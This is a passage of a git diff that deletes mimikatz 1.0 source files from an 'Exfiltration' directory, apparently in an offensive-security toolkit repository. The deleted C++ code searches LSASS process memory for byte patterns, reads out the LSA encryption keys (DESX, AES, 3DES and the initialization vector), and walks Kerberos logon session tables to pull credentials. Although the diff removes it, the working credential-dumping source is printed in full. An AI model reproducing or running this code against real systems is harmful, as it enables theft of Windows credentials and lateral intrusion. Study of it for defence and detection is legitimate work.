5 + 2 + 2 + 2; -LONG OFFS_WNT5_g_pDESXKey = OFFS_WNT5_g_pRandomKey+ sizeof(long) + 2; -LONG OFFS_WNT5_g_cbRandomKey = OFFS_WNT5_g_pDESXKey + sizeof(long) + 5 + 2; -#endif - -bool mod_mimikatz_sekurlsa_keys_nt5::searchAndInitLSASSData() -{ - PBYTE ptrBase = NULL; - DWORD mesSucces = 0; - if(mod_memory::searchMemory(mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr, mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr + mod_mimikatz_sekurlsa::localLSASRV.modBaseSize, PTRN_WNT5_LsaInitializeProtectedMemory_KEY, &ptrBase, sizeof(PTRN_WNT5_LsaInitializeProtectedMemory_KEY))) - { -#ifdef _M_X64 - PBYTE g_Feedback = reinterpret_cast((ptrBase + OFFS_WNT5_g_Feedback) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT5_g_Feedback)); - g_pRandomKey = reinterpret_cast((ptrBase + OFFS_WNT5_g_pRandomKey) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT5_g_pRandomKey)); - g_pDESXKey = reinterpret_cast((ptrBase + OFFS_WNT5_g_pDESXKey) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT5_g_pDESXKey)); - PDWORD g_cbRandomKey = reinterpret_cast((ptrBase + OFFS_WNT5_g_cbRandomKey) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT5_g_cbRandomKey)); -#elif defined _M_IX86 - PBYTE g_Feedback = *reinterpret_cast(ptrBase + OFFS_WNT5_g_Feedback); - g_pRandomKey = *reinterpret_cast(ptrBase + OFFS_WNT5_g_pRandomKey); - g_pDESXKey = *reinterpret_cast(ptrBase + OFFS_WNT5_g_pDESXKey); - PDWORD g_cbRandomKey = *reinterpret_cast(ptrBase + OFFS_WNT5_g_cbRandomKey); -#endif - *g_Feedback = NULL; *g_pRandomKey = NULL; *g_pDESXKey = NULL; *g_cbRandomKey = NULL; - - mesSucces = 0; - if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (g_Feedback - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), g_Feedback, 8, mod_mimikatz_sekurlsa::hLSASS)) - mesSucces++; - if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast(g_cbRandomKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), g_cbRandomKey, sizeof(DWORD), mod_mimikatz_sekurlsa::hLSASS)) - mesSucces++; - if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast(g_pRandomKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS)) - { - mesSucces++; - *g_pRandomKey = new BYTE[*g_cbRandomKey]; - if(mod_memory::readMemory(ptrBase, *g_pRandomKey, *g_cbRandomKey, mod_mimikatz_sekurlsa::hLSASS)) - mesSucces++; - } - if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast(g_pDESXKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS)) - { - mesSucces++; - *g_pDESXKey = new BYTE[144]; - if(mod_memory::readMemory(ptrBase, *g_pDESXKey, 144, mod_mimikatz_sekurlsa::hLSASS)) - mesSucces++; - } - } - else (*outputStream) << L"mod_memory::searchMemory NT5 " << mod_system::getWinError() << endl; - return (mesSucces == 6); -} - -bool mod_mimikatz_sekurlsa_keys_nt5::uninitLSASSData() -{ - if(g_pRandomKey && *g_pRandomKey) - delete[] *g_pRandomKey; - if(g_pDESXKey && *g_pDESXKey) - delete[] *g_pDESXKey; - - return true; -} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.h deleted file mode 100644 index 121d9c53..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.h +++ /dev/null @@ -1,17 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "../mod_mimikatz_sekurlsa.h" - -class mod_mimikatz_sekurlsa_keys_nt5 { - -private: - static PBYTE *g_pRandomKey, *g_pDESXKey; -public: - static bool searchAndInitLSASSData(); - static bool uninitLSASSData(); -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp deleted file mode 100644 index ac642ef7..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp +++ /dev/null @@ -1,186 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` -http://blog.gentilkiwi.com -benjamin@gentilkiwi.com -Licence : http://creativecommons.org/licenses/by/3.0/fr/ -Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "keys_nt6.h" -#include "..\..\global.h" -HMODULE mod_mimikatz_sekurlsa_keys_nt6::hBCrypt = NULL; -PBYTE mod_mimikatz_sekurlsa_keys_nt6::AESKey = NULL, mod_mimikatz_sekurlsa_keys_nt6::DES3Key = NULL; -mod_mimikatz_sekurlsa_keys_nt6::PKIWI_BCRYPT_KEY * mod_mimikatz_sekurlsa_keys_nt6::hAesKey = NULL, * mod_mimikatz_sekurlsa_keys_nt6::h3DesKey = NULL; -BCRYPT_ALG_HANDLE * mod_mimikatz_sekurlsa_keys_nt6::hAesProvider = NULL, * mod_mimikatz_sekurlsa_keys_nt6::h3DesProvider = NULL; - -BYTE kiwiRandom3DES[24], kiwiRandomAES[16]; - -#ifdef _M_X64 -BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[] = {0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8B, 0x4C, 0x24, 0x48, 0x48, 0x8B, 0x0D}; -LONG OFFS_WNO8_hAesKey = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY) + sizeof(LONG) + 5 + 3; -LONG OFFS_WN61_h3DesKey = - (2 + 2 + 2 + 5 + 3 + 4 + 2 + 5 + 5 + 2 + 2 + 2 + 5 + 5 + 8 + 3 + sizeof(long)); -LONG OFFS_WN61_InitializationVector = OFFS_WNO8_hAesKey + sizeof(long) + 3 + 4 + 5 + 5 + 2 + 2 + 2 + 4 + 3; -LONG OFFS_WN60_h3DesKey = - (6 + 2 + 2 + 5 + 3 + 4 + 2 + 5 + 5 + 6 + 2 + 2 + 5 + 5 + 8 + 3 + sizeof(long)); -LONG OFFS_WN60_InitializationVector = OFFS_WNO8_hAesKey + sizeof(long) + 3 + 4 + 5 + 5 + 2 + 2 + 6 + 4 + 3; - -BYTE PTRN_WIN8_LsaInitializeProtectedMemory_KEY[] = {0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8B, 0x4D, 0xD8, 0x48, 0x8B, 0x0D}; -LONG OFFS_WIN8_hAesKey = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY) + sizeof(LONG) + 4 + 3; -LONG OFFS_WIN8_h3DesKey = - (6 + 2 + 2 + 6 + 3 + 4 + 2 + 4 + 5 + 6 + 2 + 2 + 6 + 5 + 8 + 3 + sizeof(long)); -LONG OFFS_WIN8_InitializationVector = OFFS_WIN8_hAesKey + sizeof(long) + 3 + 4 + 5 + 6 + 2 + 2 + 6 + 4 + 3; -#elif defined _M_IX86 -BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[] = {0x8B, 0xF0, 0x3B, 0xF3, 0x7C, 0x2C, 0x6A, 0x02, 0x6A, 0x10, 0x68}; -LONG OFFS_WNO8_hAesKey = -(5 + 6 + sizeof(long)); -LONG OFFS_WNO8_h3DesKey = OFFS_WNO8_hAesKey - (1 + 3 + 3 + 1 + 3 + 2 + 1 + 2 + 2 + 2 + 5 + 1 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 5 + 6 + sizeof(long)); -LONG OFFS_WNO8_InitializationVector = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY); - -BYTE PTRN_WIN8_LsaInitializeProtectedMemory_KEY[] = {0x8B, 0xF0, 0x85, 0xF6, 0x78, 0x2A, 0x6A, 0x02, 0x6A, 0x10, 0x68}; -LONG OFFS_WIN8_hAesKey = -(2 + 6 + sizeof(long)); -LONG OFFS_WIN8_h3DesKey = OFFS_WIN8_hAesKey - (1 + 3 + 3 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 2 + 2 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 2 + 6 + sizeof(long)); -LONG OFFS_WIN8_InitializationVector = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY); -#endif - -bool mod_mimikatz_sekurlsa_keys_nt6::searchAndInitLSASSData() -{ - if(!hBCrypt) - hBCrypt = LoadLibrary(L"bcrypt"); - - PBYTE PTRN_WNT6_LsaInitializeProtectedMemory_KEY; - ULONG SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY; - LONG OFFS_WNT6_hAesKey, OFFS_WNT6_h3DesKey, OFFS_WNT6_InitializationVector; - if(mod_system::GLOB_Version.dwBuildNumber < 8000) - { - PTRN_WNT6_LsaInitializeProtectedMemory_KEY = PTRN_WNO8_LsaInitializeProtectedMemory_KEY; - SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY); - OFFS_WNT6_hAesKey = OFFS_WNO8_hAesKey; -#ifdef _M_X64 - if(mod_system::GLOB_Version.dwMinorVersion < 1) - { - OFFS_WNT6_h3DesKey = OFFS_WN60_h3DesKey; - OFFS_WNT6_InitializationVector = OFFS_WN60_InitializationVector; - } - else - { - OFFS_WNT6_h3DesKey = OFFS_WN61_h3DesKey; - OFFS_WNT6_InitializationVector = OFFS_WN61_InitializationVector; - } -#elif defined _M_IX86 - OFFS_WNT6_h3DesKey = OFFS_WNO8_h3DesKey; - OFFS_WNT6_InitializationVector = OFFS_WNO8_InitializationVector; -#endif - } - else - { - PTRN_WNT6_LsaInitializeProtectedMemory_KEY = PTRN_WIN8_LsaInitializeProtectedMemory_KEY; - SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY); - OFFS_WNT6_hAesKey = OFFS_WIN8_hAesKey; - OFFS_WNT6_h3DesKey = OFFS_WIN8_h3DesKey; - OFFS_WNT6_InitializationVector = OFFS_WIN8_InitializationVector; - } - - PBYTE ptrBase = NULL; - DWORD mesSucces = 0; - if(mod_memory::searchMemory(mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr, mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr + mod_mimikatz_sekurlsa::localLSASRV.modBaseSize, PTRN_WNT6_LsaInitializeProtectedMemory_KEY, &ptrBase, SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY)) - { -#ifdef _M_X64 - LONG OFFS_WNT6_AdjustProvider = (mod_system::GLOB_Version.dwBuildNumber < 8000) ? 5 : 4; - PBYTE InitializationVector = reinterpret_cast((ptrBase + OFFS_WNT6_InitializationVector) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT6_InitializationVector)); - hAesKey = reinterpret_cast((ptrBase + OFFS_WNT6_hAesKey) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT6_hAesKey)); - h3DesKey = reinterpret_cast((ptrBase + OFFS_WNT6_h3DesKey) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT6_h3DesKey)); - hAesProvider = reinterpret_cast((ptrBase + OFFS_WNT6_hAesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT6_hAesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long))); - h3DesProvider = reinterpret_cast((ptrBase + OFFS_WNT6_h3DesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT6_h3DesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long))); -#elif defined _M_IX86 - PBYTE InitializationVector = *reinterpret_cast(ptrBase + OFFS_WNT6_InitializationVector); - hAesKey = *reinterpret_cast(ptrBase + OFFS_WNT6_hAesKey); - h3DesKey = *reinterpret_cast(ptrBase + OFFS_WNT6_h3DesKey); - hAesProvider = *reinterpret_cast(ptrBase + OFFS_WNT6_hAesKey + sizeof(PVOID) + 2); - h3DesProvider = *reinterpret_cast(ptrBase + OFFS_WNT6_h3DesKey + sizeof(PVOID) + 2); -#endif - if(hBCrypt && LsaInitializeProtectedMemory()) - { - if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (InitializationVector - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), InitializationVector, 16, mod_mimikatz_sekurlsa::hLSASS)) - mesSucces++; - - KIWI_BCRYPT_KEY maCle; - KIWI_BCRYPT_KEY_DATA maCleData; - - if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast(hAesKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS)) - if(mod_memory::readMemory(ptrBase, &maCle, sizeof(KIWI_BCRYPT_KEY), mod_mimikatz_sekurlsa::hLSASS)) - if(mod_memory::readMemory(maCle.cle, &maCleData, sizeof(KIWI_BCRYPT_KEY_DATA), mod_mimikatz_sekurlsa::hLSASS)) - if(mod_memory::readMemory(reinterpret_cast(maCle.cle) + FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), &(*hAesKey)->cle->data, maCleData.size - FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data) - 2*sizeof(PVOID), mod_mimikatz_sekurlsa::hLSASS)) // 2 pointeurs internes la fin, la structure de dpart n'tait pas inutile ;) - mesSucces++; - - if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast(h3DesKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS)) - if(mod_memory::readMemory(ptrBase, &maCle, sizeof(KIWI_BCRYPT_KEY), mod_mimikatz_sekurlsa::hLSASS)) - if(mod_memory::readMemory(maCle.cle, &maCleData, sizeof(KIWI_BCRYPT_KEY_DATA), mod_mimikatz_sekurlsa::hLSASS)) - if(mod_memory::readMemory(reinterpret_cast(maCle.cle) + FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), &(*h3DesKey)->cle->data, maCleData.size - FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), mod_mimikatz_sekurlsa::hLSASS)) - mesSucces++; - } - else (*outputStream) << L"LsaInitializeProtectedMemory NT6 KO" << endl; - } - else (*outputStream) << L"mod_memory::searchMemory NT6 " << mod_system::getWinError() << endl; - - return (mesSucces == 3); -} - - -bool mod_mimikatz_sekurlsa_keys_nt6::uninitLSASSData() -{ - if(hBCrypt) - { - LsaCleanupProtectedMemory(); - FreeLibrary(hBCrypt); - } - return true; -} - -bool mod_mimikatz_sekurlsa_keys_nt6::LsaInitializeProtectedMemory() -{ - bool resultat = false; - - PBCRYPT_OPEN_ALGORITHM_PROVIDER K_BCryptOpenAlgorithmProvider = reinterpret_cast(GetProcAddress(hBCrypt, "BCryptOpenAlgorithmProvider")); - PBCRYPT_SET_PROPERTY K_BCryptSetProperty = reinterpret_cast(GetProcAddress(hBCrypt, "BCryptSetProperty")); - PBCRYPT_GET_PROPERTY K_BCryptGetProperty = reinterpret_cast(GetProcAddress(hBCrypt, "BCryptGetProperty")); - PBCRYPT_GENERATE_SYMMETRIC_KEY K_BCryptGenerateSymmetricKey = reinterpret_cast(GetProcAddress(hBCrypt, "BCryptGenerateSymmetricKey")); - - if(NT_SUCCESS(K_BCryptOpenAlgorithmProvider(h3DesProvider, BCRYPT_3DES_ALGORITHM, NULL, 0)) && - NT_SUCCESS(K_BCryptOpenAlgorithmProvider(hAesProvider, BCRYPT_AES_ALGORITHM, NULL, 0))) - { - if(NT_SUCCESS(K_BCryptSetProperty(*h3DesProvider, BCRYPT_CHAINING_MODE, reinterpret_cast(BCRYPT_CHAIN_MODE_CBC), sizeof(BCRYPT_CHAIN_MODE_CBC), 0)) && - NT_SUCCESS(K_BCryptSetProperty(*hAesProvider, BCRYPT_CHAINING_MODE, reinterpret_cast(BCRYPT_CHAIN_MODE_CFB), sizeof(BCRYPT_CHAIN_MODE_CFB), 0))) - { - DWORD DES3KeyLen, AESKeyLen, cbLen; - - if(NT_SUCCESS(K_BCryptGetProperty(*h3DesProvider, BCRYPT_OBJECT_LENGTH, reinterpret_cast(&DES3KeyLen), sizeof(DES3KeyLen), &cbLen, 0)) && - NT_SUCCESS(K_BCryptGetProperty(*hAesProvider, BCRYPT_OBJECT_LENGTH, reinterpret_cast(&AESKeyLen), sizeof(AESKeyLen), &cbLen, 0))) - { - DES3Key = new BYTE[DES3KeyLen]; - AESKey = new BYTE[AESKeyLen]; - - resultat = NT_SUCCESS(K_BCryptGenerateSymmetricKey(*h3DesProvider, (BCRYPT_KEY_HANDLE *) h3DesKey, DES3Key, DES3KeyLen, kiwiRandom3DES, sizeof(kiwiRandom3DES), 0)) && - NT_SUCCESS(K_BCryptGenerateSymmetricKey(*hAesProvider, (BCRYPT_KEY_HANDLE *) hAesKey, AESKey, AESKeyLen, kiwiRandomAES, sizeof(kiwiRandomAES), 0)); - } - } - } - return resultat; -} - -bool mod_mimikatz_sekurlsa_keys_nt6::LsaCleanupProtectedMemory() -{ - PBCRYTP_DESTROY_KEY K_BCryptDestroyKey = reinterpret_cast(GetProcAddress(hBCrypt, "BCryptDestroyKey")); - PBCRYTP_CLOSE_ALGORITHM_PROVIDER K_BCryptCloseAlgorithmProvider = reinterpret_cast(GetProcAddress(hBCrypt, "BCryptCloseAlgorithmProvider")); - - if (h3DesKey ) - K_BCryptDestroyKey(*h3DesKey); - if (hAesKey ) - K_BCryptDestroyKey(*hAesKey); - - if (h3DesProvider) - K_BCryptCloseAlgorithmProvider(*h3DesProvider, 0); - if (hAesProvider ) - K_BCryptCloseAlgorithmProvider(*hAesProvider, 0); - - if(DES3Key) - delete[] DES3Key; - if(AESKey) - delete[] AESKey; - - return true; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.h deleted file mode 100644 index 9b1940a5..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.h +++ /dev/null @@ -1,45 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "../mod_mimikatz_sekurlsa.h" - -class mod_mimikatz_sekurlsa_keys_nt6 { - -private: - static HMODULE hBCrypt; - - typedef struct _KIWI_BCRYPT_KEY_DATA { - DWORD size; - DWORD tag; - DWORD type; - DWORD unk0; - DWORD unk1; - DWORD unk2; - DWORD unk3; - PVOID unk4; - BYTE data; /* etc... */ - } KIWI_BCRYPT_KEY_DATA, *PKIWI_BCRYPT_KEY_DATA; - - typedef struct _KIWI_BCRYPT_KEY { - DWORD size; - DWORD type; - PVOID unk0; - PKIWI_BCRYPT_KEY_DATA cle; - PVOID unk1; - } KIWI_BCRYPT_KEY, *PKIWI_BCRYPT_KEY; - - static PBYTE DES3Key, AESKey; - static PKIWI_BCRYPT_KEY * hAesKey, * h3DesKey; - static BCRYPT_ALG_HANDLE * hAesProvider, * h3DesProvider; - - static bool LsaInitializeProtectedMemory(); - static bool LsaCleanupProtectedMemory(); - -public: - static bool searchAndInitLSASSData(); - static bool uninitLSASSData(); -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.cpp deleted file mode 100644 index dae52d2e..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.cpp +++ /dev/null @@ -1,135 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "kerberos.h" -#include "..\..\global.h" -mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_kerberos::pModKERBEROS = NULL; -mod_mimikatz_sekurlsa_kerberos::PKIWI_KERBEROS_LOGON_SESSION mod_mimikatz_sekurlsa_kerberos::KerbLogonSessionList = NULL; //reinterpret_cast(NULL); -long mod_mimikatz_sekurlsa_kerberos::offsetMagic = 0; -PRTL_AVL_TABLE mod_mimikatz_sekurlsa_kerberos::KerbGlobalLogonSessionTable = NULL; //reinterpret_cast(NULL); - -bool mod_mimikatz_sekurlsa_kerberos::getKerberos(vector * arguments) -{ - vector> monProvider; - monProvider.push_back(make_pair(getKerberosLogonData, wstring(L"kerberos"))); - return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); -} - -bool mod_mimikatz_sekurlsa_kerberos::searchKerberosFuncs() -{ -#ifdef _M_X64 - BYTE PTRN_WALL_KerbUnloadLogonSessionTable[]= {0x48, 0x8b, 0x18, 0x48, 0x8d, 0x0d}; - LONG OFFS_WALL_KerbUnloadLogonSessionTable = sizeof(PTRN_WALL_KerbUnloadLogonSessionTable); - - BYTE PTRN_WALL_KerbFreeLogonSessionList[] = {0x48, 0x3b, 0xfe, 0x0f, 0x84}; - LONG OFFS_WALL_KerbFreeLogonSessionList = -4; -#elif defined _M_IX86 - BYTE PTRN_WNO8_KerbUnloadLogonSessionTable[]= {0x85, 0xc0, 0x74, 0x1f, 0x53}; - LONG OFFS_WNO8_KerbUnloadLogonSessionTable = -(3 + 4); - BYTE PTRN_WIN8_KerbUnloadLogonSessionTable[]= {0x85, 0xc0, 0x74, 0x2b, 0x57}; // 2c au lieu de 2b pour avant le RC - LONG OFFS_WIN8_KerbUnloadLogonSessionTable = -(6 + 4); - - BYTE PTRN_WALL_KerbFreeLogonSessionList[] = {0xeb, 0x0f, 0x6a, 0x01, 0x57, 0x56, 0xe8}; - LONG OFFS_WALL_KerbFreeLogonSessionList = -4; -#endif - if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModKERBEROS && !(KerbGlobalLogonSessionTable || KerbLogonSessionList)) - { - PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0; - - if(mod_system::GLOB_Version.dwMajorVersion < 6) - { - pointeur= reinterpret_cast(&KerbLogonSessionList); - pattern = PTRN_WALL_KerbFreeLogonSessionList; - taille = sizeof(PTRN_WALL_KerbFreeLogonSessionList); - offset = OFFS_WALL_KerbFreeLogonSessionList; - - if(mod_system::GLOB_Version.dwMinorVersion < 2) - offsetMagic = 8; - } - else - { - pointeur= reinterpret_cast(&KerbGlobalLogonSessionTable); - -#ifdef _M_X64 - pattern = PTRN_WALL_KerbUnloadLogonSessionTable; - taille = sizeof(PTRN_WALL_KerbUnloadLogonSessionTable); - offset = OFFS_WALL_KerbUnloadLogonSessionTable; -#elif defined _M_IX86 - if(mod_system::GLOB_Version.dwBuildNumber < 8000) - { - pattern = PTRN_WNO8_KerbUnloadLogonSessionTable; - taille = sizeof(PTRN_WNO8_KerbUnloadLogonSessionTable); - offset = OFFS_WNO8_KerbUnloadLogonSessionTable; - } - else - { - if(mod_system::GLOB_Version.dwBuildNumber < 8400) // petite correction pour avant la RC - PTRN_WIN8_KerbUnloadLogonSessionTable[3] = 0x2c; - pattern = PTRN_WIN8_KerbUnloadLogonSessionTable; - taille = sizeof(PTRN_WIN8_KerbUnloadLogonSessionTable); - offset = OFFS_WIN8_KerbUnloadLogonSessionTable; - } -#endif - } - - if(HMODULE monModule = LoadLibrary(L"kerberos")) - { - MODULEINFO mesInfos; - if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) - { - mod_memory::genericPatternSearch(pointeur, L"kerberos", pattern, taille, offset); - *pointeur += pModKERBEROS->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll); - } - FreeLibrary(monModule); - } - } - return (pModKERBEROS && (KerbGlobalLogonSessionTable || KerbLogonSessionList)); -} - -bool WINAPI mod_mimikatz_sekurlsa_kerberos::getKerberosLogonData(__in PLUID logId, __in bool justSecurity) -{ - if(searchKerberosFuncs()) - { - PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL; - DWORD taille; - BYTE * monBuff = NULL; - - if(KerbGlobalLogonSessionTable) - { - taille = sizeof(KIWI_KERBEROS_PRIMARY_CREDENTIAL); - monBuff = new BYTE[taille]; - - if(PKIWI_KERBEROS_PRIMARY_CREDENTIAL pLogSession = reinterpret_cast(mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(KerbGlobalLogonSessionTable, FIELD_OFFSET(KIWI_KERBEROS_PRIMARY_CREDENTIAL, LocallyUniqueIdentifier), logId))) - { - if(mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS)) - { - pLogSession = reinterpret_cast(monBuff); - mesCreds = &pLogSession->credentials; - } - } - } - else - { - taille = sizeof(KIWI_KERBEROS_LOGON_SESSION) + offsetMagic; - monBuff = new BYTE[taille]; - if(PKIWI_KERBEROS_LOGON_SESSION pLogSession = reinterpret_cast(mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast(KerbLogonSessionList), FIELD_OFFSET(KIWI_KERBEROS_LOGON_SESSION, LocallyUniqueIdentifier) + offsetMagic, logId))) - { - if(mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS)) - { - pLogSession = reinterpret_cast(monBuff); - if(offsetMagic != 0) - pLogSession = reinterpret_cast(reinterpret_cast(pLogSession) + offsetMagic); - mesCreds = &pLogSession->credentials; - } - } - } - mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity); - delete [] monBuff; - } - else (*outputStream) << L"n.a. (kerberos KO)"; - - return true; -} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.h deleted file mode 100644 index 1418d4f6..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.h +++ /dev/null @@ -1,70 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "../mod_mimikatz_sekurlsa.h" - -class mod_mimikatz_sekurlsa_kerberos { - -private: - typedef struct _KIWI_KERBEROS_LOGON_SESSION - { - struct _KIWI_KERBEROS_LOGON_SESSION *Flink; - struct _KIWI_KERBEROS_LOGON_SESSION *Blink; - DWORD UsageCount; - PVOID unk0; - PVOID unk1; - PVOID unk2; - DWORD unk3; - DWORD unk4; - PVOID unk5; - PVOID unk6; - PVOID unk7; - LUID LocallyUniqueIdentifier; - #ifdef _M_IX86 - DWORD unk8; - #endif - DWORD unk9; - DWORD unk10; - PVOID unk11; - DWORD unk12; - DWORD unk13; - PVOID unk14; - PVOID unk15; - PVOID unk16; - KIWI_GENERIC_PRIMARY_CREDENTIAL credentials; - } KIWI_KERBEROS_LOGON_SESSION, *PKIWI_KERBEROS_LOGON_SESSION; - - typedef struct _KIWI_KERBEROS_PRIMARY_CREDENTIAL - { - DWORD unk0; - PVOID unk1; - PVOID unk2; - PVOID unk3; - #ifdef _M_X64 - BYTE unk4[32]; - #elif defined _M_IX86 - BYTE unk4[20]; - #endif - LUID LocallyUniqueIdentifier; - #ifdef _M_X64 - BYTE unk5[44]; - #elif defined _M_IX86 - BYTE unk5[36]; - #endif - KIWI_GENERIC_PRIMARY_CREDENTIAL credentials; - } KIWI_KERBEROS_PRIMARY_CREDENTIAL, *PKIWI_KERBEROS_PRIMARY_CREDENTIAL; - - static PKIWI_KERBEROS_LOGON_SESSION KerbLogonSessionList; - static long offsetMagic; - static PRTL_AVL_TABLE KerbGlobalLogonSessionTable; - static bool searchKerberosFuncs(); - -public: - static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModKERBEROS; - static bool getKerberos(vector * arguments); - static bool WINAPI getKerberosLogonData(__in PLUID logId, __in bool justSecurity); -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.cpp deleted file mode 100644 index 7f64678f..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.cpp +++ /dev/null @@ -1,70 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce 